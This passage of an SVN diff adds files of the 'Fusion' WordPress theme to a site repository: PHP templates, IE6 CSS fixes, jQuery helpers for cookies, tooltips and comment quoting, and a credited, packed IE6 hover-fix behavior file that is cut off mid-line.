+              <p><em style="color: #5db408">/* Make header background dark brown */</em><br /><code>#page-wrap1{ background: none; }<br />#page-wrap2{ background: #402f1f; }</code></p>
+              <p><em style="color: #5db408">/* Custom header image */</em><br /><code>#page-wrap1{ background: none; }<br />#page-wrap2{ background: url(/files/yourimage.jpg) no-repeat center top; }</code></p>
+              <p><em style="color: #5db408">/* Decrease header height to 150 pixels and hide the logo */</em><br /><code>#page-wrap2, #header{ height: 150px; }<br />body{ background-position: left 150px; }<br />a#logo{ display: none; }</code></p>
+              <p><em style="color: #5db408">/* Increase tag line text size */</em><br /><code>#topnav, #topnav a{ font-size: 130%; }</code></p>
+              <p><em style="color: #5db408">/* Hide post information bar */</em><br /><code>.postinfo{ display: none; }</code></p>
+              <p><em style="color: #5db408">/* Make tabs narrower */</em><br /><code>#tabs{ letter-spacing: -0.04em; font-size: 13px; }<br />#tabs a span span{ padding: 4px 0 0 0; }</code></p>
+              <p><em style="color: #5db408">/* Use Windows Arial style fonts, instead of Mac's Lucida */</em><br /><code>body, input, textarea, select, h3, h4, h5, h6,<br />#sidebar h2.title, #sidebar2 h2.title{ font-family: Arial, Helvetica; }</code></p>
+              </div>
+            <br clear="left" />
+
+
+
+            <p class="submit">
+            <input class="button-primary" type="submit" name="fusion_save" value="<?php _e('Save Changes','fusion'); ?>" />
+            </p>
+
+      </div>
+      </form>
+   <?php
+  }
+}
+
+// register functions
+add_action('admin_menu', array('FusionOptions', 'add'));
+
+if ( function_exists('register_sidebar')) {
+    register_sidebar(array(
+        'name' => 'Default sidebar',
+		'before_widget' => '<li><div id="%1$s" class="widget %2$s">',
+		'after_widget' => '</div></li>',
+		'before_title' => '<h2 class="title">',
+		'after_title' => '</h2>'
+    ));
+    register_sidebar(array(
+        'name' => '2nd sidebar (only on 3-col pages)',
+		'before_widget' => '<li><div id="%1$s" class="widget %2$s">',
+		'after_widget' => '</div></li>',
+		'before_title' => '<h2 class="title">',
+		'after_title' => '</h2>'
+    ));
+}
+
+function list_pings($comment, $args, $depth) {
+ $GLOBALS['comment'] = $comment;
+ ?>
+ <li id="comment-<?php comment_ID(); ?>"><?php comment_author_link(); ?>
+<?php
+}
+
+// custom comments
+function list_comments($comment, $args, $depth) {
+ $GLOBALS['comment'] = $comment;
+ global $commentcount;
+ if(!$commentcount) { $commentcount = 0; }
+ ?> <!-- comment entry -->
+	<li <?php if (function_exists('get_avatar') && get_option('show_avatars')) echo comment_class('with-avatars'); else comment_class(); ?> id="comment-<?php comment_ID() ?>">
+      <div class="wrap<?php if(comments_open()) { ?> tiptrigger<?php } ?>">
+       <?php if (function_exists('get_avatar') && get_option('show_avatars')) { ?>
+       <div class="avatar">
+         <a class="gravatar"><?php echo get_avatar($comment, 64); ?></a>
+       </div>
+       <?php } ?>
+       <div class="details <?php if($comment->comment_author_email == get_the_author_email()) echo 'admincomment'; else echo 'regularcomment'; ?>">
+        <p class="head">
+         <span class="info">
+          <?php
+           if (get_comment_author_url()):
+            $authorlink='<a id="commentauthor-'.get_comment_ID().'" href="'.get_comment_author_url().'">'.get_comment_author().'</a>';
+           else:
+            $authorlink='<b id="commentauthor-'.get_comment_ID().'">'.get_comment_author().'</b>';
+           endif;
+           printf(__('%s by %s at %s', 'fusion'), '<a href="#comment-'.get_comment_ID().'">#'.++$commentcount.'</a>', $authorlink, get_comment_time(__('F jS, Y', 'fusion')), get_comment_time(__('H:i', 'fusion')));
+          ?>
+         </span>
+        </p>
+        <!-- comment contents -->
+        <div class="text">
+		 <?php if ($comment->comment_approved == '0') : ?>
+		 <p class="error"><small><?php _e('Your comment is awaiting moderation.','fusion'); ?></small></p>
+		 <?php endif; ?>
+		 <div id="commentbody-<?php comment_ID() ?>">
+          <?php comment_text(); ?>
+         </div>
+       </div>
+       <!-- /comment contents -->
+       </div>
+       <?php if(comments_open()) { ?>
+   	   <div class="act tip">
+	     <span class="button reply"><?php comment_reply_link(array_merge( $args, array('add_below' => 'commentbody', 'depth' => $depth, 'max_depth' => $args['max_depth'], 'reply_text' => '<span><span>'.__('Reply','fusion').'</span></span>'.$my_comment_count))) ?></span> <span class="button quote"><a title="<?php _e('Quote','fusion'); ?>" href="javascript:void(0);" onclick="MGJS_CMT.quote('commentauthor-<?php comment_ID() ?>', 'comment-<?php comment_ID() ?>', 'commentbody-<?php comment_ID() ?>', 'comment');"><span><span><?php _e('Quote','fusion'); ?></span></span></a></span>
+	   </div>
+       <?php } ?>
+       <span class="editlink"><?php edit_comment_link(''); ?></span>
+      </div>
+<?php
+  }
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/header.php	(revision 44)
@@ -0,0 +1,171 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<?php /* Fusion/digitalnature */
+  $options = get_option('fusion_options');
+  if (is_home()) {
+  	$metakeywords = $options['metakeywords'];
+  } else if (is_single()) {
+  	$metakeywords = "";
+  	$tags = wp_get_post_tags($post->ID);
+  	foreach ($tags as $tag ) {
+  	  $metakeywords = $metakeywords . $tag->name . ", ";
+  	}
+  }    
+?>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+
+<head profile="http://gmpg.org/xfn/11">
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+<?php if($options['metakeywords']) { ?>
+<meta name="keywords" content="<?php echo $metakeywords; ?>" />
+<meta name="description" content="<?php bloginfo('description'); ?>" />
+<?php } ?>
+
+<title><?php wp_title('&laquo;', true, 'right'); ?><?php bloginfo('name'); ?></title>
+
+<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
+<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
+<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+
+<style type="text/css" media="all">@import "<?php bloginfo('stylesheet_url'); ?>";</style>
+<!--[if lte IE 6]>
+<script type="text/javascript">
+/* <![CDATA[ */
+   blankimgpath = '<?php bloginfo('template_url'); ?>/images/blank.gif';
+ /* ]]> */
+</script>
+<style type="text/css" media="screen">
+  @import "<?php bloginfo('template_url'); ?>/ie6.css";
+  body{ behavior:url("<?php bloginfo('template_url'); ?>/js/ie6hoverfix.htc"); }
+  img{ behavior: url("<?php bloginfo('template_url'); ?>/js/ie6pngfix.htc"); }
+</style>
+<![endif]-->
+
+<?php if($options['layouttype']=='fluid') { ?><style type="text/css" media="all">@import "<?php bloginfo('template_url'); ?>/options/fluid.css";</style><?php }?>
+<?php if($options['sidebarpos']=='left') { ?><style type="text/css" media="all">@import "<?php bloginfo('template_url'); ?>/options/leftsidebar.css";</style><?php }?>
+<?php // custom css?
+  $usercss = $options['customcss'];
+  if($usercss<>'') { ?>
+<style type="text/css" media="screen">
+  <?php echo $usercss; ?>
+</style>
+<?php } ?>
+
+<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
+<?php if(!$options['nojquery']) { ?>
+ <?php wp_enqueue_script('jquery'); ?>
+ <?php wp_enqueue_script('fusion',get_bloginfo('template_url').'/js/fusion.js'); ?>
+<?php } ?>
+
+<?php wp_head(); ?>
+
+<?php if(!$options['nojquery']) { ?>
+<script type="text/javascript">
+/* <![CDATA[ */
+ jQuery(document).ready(function(){
+  // body .safari class
+  if (jQuery.browser.safari) jQuery('body').addClass('safari');
+
+  // layout controls
+  <?php if(!$options['nolayoutcontrol']) { ?>
+   jQuery("#layoutcontrol a").click(function() {
+     switch (jQuery(this).attr("class")) {
+	   case 'setFont' : setFontSize();	break;
+	   case 'setLiquid'	: setPageWidth();	break;
+	 }
+	 return false;
+    });
+   // set the font size from cookie
+   var font_size = jQuery.cookie('fontSize');
+   if (font_size == '.7em') { jQuery('body').css("font-size",".7em"); }
+   if (font_size == '.95em') { jQuery('body').css("font-size",".95em"); }
+   if (font_size == '.8em') { jQuery('body').css("font-size",".8em"); }
+
+   // set the page width from cookie
+   var page_width = jQuery.cookie('pageWidth');
+   if (page_width) jQuery('#page').css('width', page_width);
+  <?php } ?>
+
+  jQuery('#secondary-tabs').minitabs(333, 'slide');
+
+  if (document.all && !window.opera && !window.XMLHttpRequest && jQuery.browser.msie) { var isIE6 = true; }
+  else { var isIE6 = false;} ;
+  jQuery.browser.msie6 = isIE6;
+  if (!isIE6) {
+    initTooltips({
+		timeout: 6000
+   });
+  }
+  tabmenudropdowns();
+
+  // some jquery effects...
+  jQuery('#sidebar ul.nav li ul li a').mouseover(function () {
+   	jQuery(this).animate({ marginLeft: "4px" }, 100 );
+  });
+  jQuery('#sidebar ul.nav li ul li a').mouseout(function () {
+    jQuery(this).animate({ marginLeft: "0px" }, 100 );
+  });
+  // scroll to top
+  jQuery("a#toplink").click(function(){
+    jQuery('html, body').animate({scrollTop:0}, 'slow');
+  });
+
+ });
+
+ /* ]]> */
+</script>
+<?php } ?>
+
+</head>
+<body <?php if (is_home()) { ?>class="home"<?php } else { ?>class="<?php echo $post->post_name; ?>"<?php } ?>>
+  <!-- page wrappers (100% width) -->
+  <div id="page-wrap1">
+    <div id="page-wrap2">
+      <!-- page (actual site content, custom width) -->
+      <div id="page"<?php if(is_page_template('page-3col.php')) { ?> class="with-sidebar2"<?php } else if(!is_page_template('page-nosidebar.php')) { ?> class="with-sidebar"<?php } ?>>
+
+       <!-- main wrapper (side & main) -->
+       <div id="main-wrap">
+        <!-- mid column wrap -->
+    	<div id="mid-wrap">
+          <!-- sidebar wrap -->
+          <div id="side-wrap">
+            <!-- mid column -->
+    	    <div id="mid">
+              <!-- header -->
+              <div id="header">
+                <div id="topnav" class="description"> <?php bloginfo('description'); ?></div>
+
+                <?php
+                // logo image option checked?
+                if($options['logoimage']) {
+    			?><a id="logo" href="<?php bloginfo('url'); ?>/"><img src="<?php if(file_exists(TEMPLATEPATH.'/logo.png')) echo get_bloginfo('template_url').'/logo.png'; else echo get_bloginfo('template_url').'/logo-default.png'; ?>" title="<?php bloginfo('name');  ?>" alt="<?php bloginfo('name');  ?>" /></a><?php
+    		} else {
+    			?><h1 id="title"><a href="<?php bloginfo('url'); ?>/"><?php bloginfo('name'); ?></a></h1><?php
+    		}
+                ?>
+                <!-- top tab navigation -->
+                <div id="tabs">
+                 <ul>
+                 <?php
+                  if((!$options['hidehometab']) && (!$options['categorytabs'])) {
+                    if(is_home() && !is_paged()){ ?>
+                   <li class="current_page_item"><a href="<?php echo get_settings('home'); ?>" title="<?php _e('You are Home','fusion'); ?>"><span><span><?php _e('Home','fusion'); ?></span></span></a></li>
+                 <?php } else { ?>
+                  <li><a href="<?php echo get_option('home'); ?>" title="<?php _e('Click for Home','fusion'); ?>"><span><span><?php _e('Home','fusion'); ?></span></span></a></li>
+                 <?php
+                   }
+                  }
+                  ?>
+                 <?php
+                   if($options['categorytabs']) {
+                    echo preg_replace('@\<li([^>]*)>\<a([^>]*)>(.*?)\<\/a>@i', '<li$1><a$2><span><span>$3</span></span></a>', wp_list_categories('show_count=0&echo=0&title_li='));
+                    }
+                   else {
+                     echo preg_replace('@\<li([^>]*)>\<a([^>]*)>(.*?)\<\/a>@i', '<li$1><a$2><span><span>$3</span></span></a>', wp_list_pages('echo=0&orderby=name&title_li=&'));
+                   }
+                  ?>
+                 </ul>
+                </div>
+                <!-- /top tabs -->
+
+              </div><!-- /header -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/ie6.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/ie6.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/ie6.css	(revision 44)
@@ -0,0 +1,38 @@
+
+
+/* Internet Explorer 6 and 5.5 bug fixes */
+
+body{ text-align: center; }  /* center main div in IE 5.5 */
+#page{ text-align: left; }
+
+blockquote{ background: none; }
+
+#tabs a, #tabs a span, #tabs a span span,
+#mid ul.menu li a, #mid ul.menu li a span, #mid ul.menu li a span span {
+ float:left;
+ display: block;
+}
+
+#tabs a { margin-right:1px; }
+
+#sidebar ul.nav a.rss{ visibility: hidden; }
+#sidebar ul.nav li{ position: static; }
+
+#sidebar-wrap1{ background: transparent url(images/side-start-ie6.png) no-repeat left top; }
+#sidebar-wrap2{ background: transparent url(images/side-bg-ie6.png) no-repeat right top; }
+
+span.quote a:hover, span.reply a:hover, span.submit a:hover { background: transparent url(images/button-bg.png) no-repeat right bottom; }
+
+/* WORDPRESS SPECIFIC STYLES */
+
+#commentnavi{
+  display: block;
+  margin: 40px 0 20px 0;
+}
+
+span.editlink{ display: none; }
+
+
+li.comment{
+  display: inline-block;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/image.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/image.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/image.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php /* Fusion/digitalnature */ ?>
+<?php get_header(); ?>
+
+  <!-- mid content -->
+  <div id="mid-content">
+      <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+              <!-- post -->
+              <?php if (function_exists("post_class")) { ?>
+              <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+              <?php } else { ?>
+              <div class="post" id="post-<?php the_ID(); ?>">
+              <?php } ?>
+                 <div class="clearfix">
+                  <h2><a href="<?php echo get_permalink($post->post_parent); ?>" rev="attachment"><?php echo get_the_title($post->post_parent); ?></a> &raquo; <?php the_title(); ?></h2>
+                  <p class="attachment-entry"><a href="<?php echo wp_get_attachment_url($post->ID); ?>"><?php echo wp_get_attachment_image( $post->ID, 'medium' ); ?></a></p>
+  				 <div class="caption"><?php if ( !empty($post->post_excerpt) ) the_excerpt(); // this is the "caption" ?>
+              	  <?php the_content(__('Read the rest of this entry &raquo;', 'fusion')); ?></div>
+                </div>
+  		    </div>
+              <!-- /post -->
+
+            <div class="navigation">
+		       <div class="alignleft"><?php previous_image_link() ?></div>
+			   <div class="alignright"><?php next_image_link() ?></div>
+               <div class="clear"></div>
+		    </div>
+
+            <p class="postmetadata alt">
+  			<small>
+                 <?php
+                    printf(__('This entry was posted on %s and is filed under %s. You can follow any responses to this entry through %s.', 'fusion'), get_the_time(__('l, F jS, Y','fusion')), get_the_category_list(', '), '<a href="'.get_post_comments_feed_link($post->ID).'" title="RSS 2.0">RSS 2.0</a>');  ?>
+
+                 <?php if (('open' == $post-> comment_status) && ('open' == $post->ping_status)) {
+          		  // Both Comments and Pings are open
+                    printf(__('You can <a href="#respond">leave a response</a>, or <a href="%s" rel="trackback">trackback</a> from your own site.', 'fusion'), trackback_url('',false));
+
+          		 } elseif (!('open' == $post-> comment_status) && ('open' == $post->ping_status)) {
+          		  // Only Pings are Open
+                    printf(__('Responses are currently closed, but you can <a href="%s" rel="trackback">trackback</a> from your own site.', 'fusion'), trackback_url('',false));
+
+          		 } elseif (('open' == $post-> comment_status) && !('open' == $post->ping_status)) {
+          		  // Comments are open, Pings are not
+          		  _e('You can skip to the end and leave a response. Pinging is currently not allowed.','fusion');
+
+          		 } elseif (!('open' == $post-> comment_status) && !('open' == $post->ping_status)) {
+          		  // Neither Comments, nor Pings are open
+          		  _e('Both comments and pings are currently closed.','fusion');
+          		} ?>
+                  <?php edit_post_link(__('Edit this entry', 'fusion')); ?>
+              </small>
+  		   </p>
+  	<?php comments_template(); ?>
+  	<?php endwhile; else: ?>
+  	<p><?php _e('Sorry, no attachments matched your criteria.','fusion'); ?></p>
+  <?php endif; ?>
+    </div>
+    <!-- mid content -->
+   </div>
+   <!-- /mid -->
+
+    <?php get_sidebar(); ?>
+
+ <?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/index.php	(revision 44)
@@ -0,0 +1,65 @@
+<?php
+ /* Fusion/digitalnature */
+ get_header();
+?>
+<!-- mid content -->
+<div id="mid-content">
+<?php if (have_posts()) : ?>
+ <?php while (have_posts()) : the_post(); ?>
+    <!-- post -->
+    <?php if (function_exists("post_class")) { ?>
+    <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+    <?php } else { ?>
+    <div class="post" id="post-<?php the_ID(); ?>">
+    <?php } ?>
+        <h2><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php _e('Permanent Link:','fusion'); echo ' '; the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+
+        <!-- story header -->
+        <div class="postheader">
+          <div class="postinfo">
+            <p><?php printf(__('Posted by %s in %s on %s','fusion'),'<a href="'. get_author_posts_url(get_the_author_ID()) .'" title="'. sprintf(__("Posts by %s","fusion"), attribute_escape(get_the_author())).' ">'. get_the_author() .'</a>',get_the_category_list(', '), get_the_time(__('F jS, Y','fusion'))); ?> <span class="editlink"><?php edit_post_link(''); ?></span></p>
+          </div>
+        </div>
+        <!-- /story header -->
+
+        <div class="postbody entry clearfix">
+         <?php the_content(__('Read the rest of this entry &raquo;', 'fusion')); ?>
+        </div>
+        <?php
+         $posttags = get_the_tags();
+         if ($posttags) { ?>
+          <p class="tags"><?php the_tags(''); ?></p>
+        <?php } ?>
+        <p class="postcontrols">
+          <?php
+           global $id, $comment;
+           $number = get_comments_number( $id );
+          ?>
+          <a class="<?php if($number<1) { echo 'no '; }?>comments" href="<?php comments_link(); ?>"><?php comments_number(__('No Comments','fusion'), __('1 Comment','fusion'), __('% Comments','fusion')); ?></a>
+        </p>
+        <div class="clear"></div>
+    </div>
+    <!-- /post -->
+ <?php endwhile; ?>
+    <div class="navigation" id="pagenavi">
+  	<?php if(function_exists('wp_pagenavi')) : ?>
+     <?php wp_pagenavi() ?>
+ 	<?php else : ?>
+     <div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries','fusion')) ?></div>
+     <div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;','fusion')) ?></div>
+     <div class="clear"></div>
+    <?php endif; ?>
+    </div>
+ <?php else : ?>
+    <h2><?php _e("Not Found","fusion"); ?></h2>
+    <p class="error"><?php _e("Sorry, but you are looking for something that isn't here.","fusion"); ?></p>
+    <?php get_search_form(); ?>
+ <?php endif; ?>
+</div>
+<!-- mid content -->
+</div>
+<!-- /mid -->
+
+<?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/fusion.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/fusion.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/fusion.js	(revision 44)
@@ -0,0 +1,233 @@
+
+
+// cookie functions
+jQuery.cookie = function(name, value, options) {
+    if (typeof value != 'undefined') { // name and value given, set cookie
+        options = options || {};
+        if (value === null) {
+            value = '';
+            options = jQuery.extend({}, options); // clone object since it's unexpected behavior if the expired property were changed
+            options.expires = -1;
+        }
+        var expires = '';
+        if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
+            var date;
+            if (typeof options.expires == 'number') {
+                date = new Date();
+                date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
+            } else {
+                date = options.expires;
+            }
+            expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
+        }
+        // NOTE Needed to parenthesize options.path and options.domain
+        // in the following expressions, otherwise they evaluate to undefined
+        // in the packed version for some reason...
+        var path = options.path ? '; path=' + (options.path) : '';
+        var domain = options.domain ? '; domain=' + (options.domain) : '';
+        var secure = options.secure ? '; secure' : '';
+        document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
+    } else { // only name given, get cookie
+        var cookieValue = null;
+        if (document.cookie && document.cookie != '') {
+            var cookies = document.cookie.split(';');
+            for (var i = 0; i < cookies.length; i++) {
+                var cookie = jQuery.trim(cookies[i]);
+                // Does this cookie string begin with the name we want?
+                if (cookie.substring(0, name.length + 1) == (name + '=')) {
+                    cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
+                    break;
+                }
+            }
+        }
+        return cookieValue;
+    }
+};
+// /cookie functions
+
+// fixes for IE-7 cleartype bug on fade in/out
+jQuery.fn.fadeIn = function(speed, callback) {
+ return this.animate({opacity: 'show'}, speed, function() {
+  if (jQuery.browser.msie) this.style.removeAttribute('filter');
+  if (jQuery.isFunction(callback)) callback();
+ });
+};
+
+jQuery.fn.fadeOut = function(speed, callback) {
+ return this.animate({opacity: 'hide'}, speed, function() {
+  if (jQuery.browser.msie) this.style.removeAttribute('filter');
+  if (jQuery.isFunction(callback)) callback();
+ });
+};
+
+jQuery.fn.fadeTo = function(speed,to,callback) {
+ return this.animate({opacity: to}, speed, function() {
+  if (to == 1 && jQuery.browser.msie) this.style.removeAttribute('filter');
+  if (jQuery.isFunction(callback)) callback();
+ });
+};
+
+
+// liquid <> fixed
+function setPageWidth(){
+   var currentWidth = jQuery('#page').css('width');
+   if (currentWidth=="95%") newWidth = "960px"; else if (currentWidth=="960px") newWidth = "95%"; else newWidth = "960px";
+   jQuery("#page").animate({width: newWidth}, 333).fadeIn("slow");
+   jQuery.cookie('pageWidth', newWidth);
+}
+
+// body font size
+function setFontSize() {
+   var size = jQuery.cookie('fontSize');
+   if (size=='.8em') newSize = '.95em';
+   else if (size=='.95em') newSize = '.7em';
+   else if (size=='.7em') newSize = '.8em';
+   else newSize = '.95em';
+   jQuery("body").animate({fontSize: newSize}, 333).fadeIn("slow");
+   jQuery.cookie('fontSize',newSize)
+}
+
+// minitabs
+jQuery.fn.minitabs = function(speed,effect) {
+  id = "#" + this.attr('id')
+  jQuery(id + ">DIV:gt(0)").hide();
+  jQuery(id + ">UL>LI>A:first").addClass("current");
+  jQuery(id + ">UL>LI>A").click(
+    function(){
+      jQuery(id + ">UL>LI>A").removeClass("current");
+      jQuery(this).addClass("current");
+      jQuery(this).blur();
+      var re = /([_\-\w]+$)/i;
+      var target = jQuery('#' + re.exec(this.href)[1]);
+      var old = jQuery(id + ">DIV");
+      switch (effect) {
+        case 'fade':
+          old.fadeOut(speed).fadeOut(speed);
+          target.fadeIn(speed);
+          break;
+        case 'slide':
+          old.slideUp(speed);
+          target.fadeOut(speed).fadeIn(speed);
+          break;
+        default :
+          old.hide(speed);
+          target.show(speed)
+      }
+      return false;
+    }
+ );
+}
+
+function initTooltips(o) {
+  var showTip = function() {
+  	var el = jQuery('.tip', this).css('display', 'block')[0];
+  	var ttHeight = jQuery(el).height();
+    var ttOffset =  el.offsetHeight;
+	var ttTop = ttOffset + ttHeight;
+    jQuery('.tip', this)
+	  .stop()
+	  .css({'opacity': 0, 'top': 2 - ttOffset})
+  	  .animate({'opacity': 1, 'top': 18 - ttOffset}, 250);
+	};
+	var hideTip = function() {
+  	  var self = this;
+	  var el = jQuery('.tip', this).css('display', 'block')[0];
+      var ttHeight = jQuery(el).height();
+	  var ttOffset =  el.offsetHeight;
+	  var ttTop = ttOffset + ttHeight;
+      jQuery('.tip', this)
+	  	.stop()
+	  	.animate({'opacity': 0,'top': 10 - ttOffset}, 250, function() {
+		   el.hiding = false;
+		   jQuery(this).css('display', 'none');
+		}
+      );
+	};
+	jQuery('.tip').hover(
+	  function() { return false; },
+	  function() { return true; }
+	);
+	jQuery('.tiptrigger, #sidebar .cat-item').hover(
+	  function(){
+	  	var self = this;
+	  	showTip.apply(this);
+	  	if (o.timeout) this.tttimeout = setTimeout(function() { hideTip.apply(self) } , o.timeout);
+	  },
+	  function() {
+	  	clearTimeout(this.tttimeout);
+	  	hideTip.apply(this);
+	  }
+	);
+}
+
+function tabmenudropdowns(){
+//jQuery(" #tabs ul ").css({display: "none"}); // Opera Fix
+jQuery(" #tabs li").hover(function(){
+  jQuery(this).find('ul:first').css({visibility: "visible",display: "none"}).show(333);
+ },function(){
+    jQuery(this).find('ul:first').css({visibility: "hidden"});
+   });
+}
+
+// comment.js by mg12 - http://www.neoease.com/
+(function() {
+    function $$$(id) { return document.getElementById(id); }
+    function setStyleDisplay(id, status) {	$$$(id).style.display = status; }
+
+    window['MGJS'] = {};
+    window['MGJS']['$$$'] = $$$;
+    window['MGJS']['setStyleDisplay'] = setStyleDisplay;
+
+})();
+
+
+(function() {
+  function quote(authorId, commentId, commentBodyId, commentBox) {
+	var author = MGJS.$$$(authorId).innerHTML;
+	var comment = MGJS.$$$(commentBodyId).innerHTML;
+
+	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
+	insertStr += '\n<strong><a href="#' + commentId + '">' + author.replace(/\t|\n|\r\n/g, "") + '</a> :</strong>';
+	insertStr += comment.replace(/\t/g, "");
+	insertStr += '</blockquote>\n';
+
+	insertQuote(insertStr, commentBox);
+  }
+
+  function insertQuote(insertStr, commentBox) {
+   if(MGJS.$$$(commentBox) && MGJS.$$$(commentBox).type == 'textarea') {
+		field = MGJS.$$$(commentBox);
+
+	} else {
+		alert("The comment box does not exist!");
+		return false;
+	}
+
+	if(document.selection) {
+		field.focus();
+		sel = document.selection.createRange();
+		sel.text = insertStr;
+		field.focus();
+
+	} else if (field.selectionStart || field.selectionStart == '0') {
+		var startPos = field.selectionStart;
+		var endPos = field.selectionEnd;
+		var cursorPos = startPos;
+		field.value = field.value.substring(0, startPos)
+					  + insertStr
+					  + field.value.substring(endPos, field.value.length);
+		cursorPos += insertStr.length;
+		field.focus();
+		field.selectionStart = cursorPos;
+		field.selectionEnd = cursorPos;
+
+	} else {
+		field.value += insertStr;
+		field.focus();
+	}
+  }
+
+  window['MGJS_CMT'] = {};
+  window['MGJS_CMT']['quote'] = quote;
+
+})();
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/ie6hoverfix.htc
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/ie6hoverfix.htc	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/ie6hoverfix.htc	(revision 44)
@@ -0,0 +1,14 @@
+<public:attach event="ondocumentready" onevent="CSSHover()" />
+<script>
+/**
+ *	Whatever:hover - V3.00.081222
+ *	--------------------------------------------------------
+ *	Author  - Peter Nederlof, http://www.xs4all.nl/~peterned
+ *	License - http://creativecommons.org/licenses/LGPL/2.1
+ *	Packed  - http://dean.edwards.name/packer
+ *
+ *	howto: body { behavior:url("csshover3.htc"); }
+ */
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('r.R=(8(){4 f=/(^|\\s)((([^a]([^ ]+)?)|(a([^#.][^ ]+)+)):(C|D|E))/i,S=/(.*?)\\:(C|D|E)/i,T=/[^:]+:([a-z-]+).*/i,U=/(\\.([a-V-W-]+):[a-z]+)|(:[a-z]+)/1c,X=/\\.([a-V-W-]*Y(C|D|E))/i,Z=/1d (5|6|7)/i,10=/1e/i;4 g=\'1f-\';4 h={p:[],t:{},11:8(){n(!Z.F(1g.1h)&&!10.F(r.12.1i))u;4 a=r.12.1j,l=a.v;w(4 i=0;i<l;i++){3.G(a[i])}},G:8(a){n(a.H){I{4 b=a.H,l=b.v;w(4 i=0;i<l;i++){3.G(a.H[i])}}J(13){}}I{4 c=a.1k,l=c.v;w(4 j=0;j<l;j++){3.14(c[j],a)}}J(13){}},14:8(a,b){4 c=a.1l;n(f.F(c)){4 d=a.K.1m,L=S.15(c)[1],M=c.N(T,\'Y$1\'),O=c.N(U,\'.$2\'+M),o=X.15(O)[1];4 e=L+o;n(!3.t[e]){b.16(L,g+o+\':1n(R(3, "\'+M+\'", "\'+o+\'"))\');3.t[e]=17}b.16(O,d)}},18:8(a,b,c){4 d=g+c;n(a.K[d]){a.K[d]=q}n(!a.x)a.x=[];n(!a.x[c]){a.x[c]=17;4 e=19 P(a,b,c);3.p.1o(e)}u b},y:8(){I{4 l=3.p.v;w(4 i=0;i<l;i++){3.p[i].y()}3.p=[];3.t={}}J(e){}}};r.Q(\'1p\',8(){h.y()});4 k={1q:{9:\'1r\',m:\'1s\'},1t:{9:\'1u\',m:\'1v\'},1a:{9:\'1a\',m:\'1w\'}};8 P(a,b,c){3.A=a;3.B=b;4 d=19 1x(\'(^|\\\\s)\'+c+\'(\\\\s|$)\',\'g\');3.9=8(){a.o+=\' \'+c};3.m=8(){a.o=a.o.N(d,\' \')};a.Q(k[b].9,3.9);a.Q(k[b].m,3.m)}P.1y={y:8(){3.A.1b(k[3.B].9,3.9);3.A.1b(k[3.B].m,3.m);3.9=q;3.m=q;3.A=q;3.B=q}};u 8(a,b,c){n(a){u 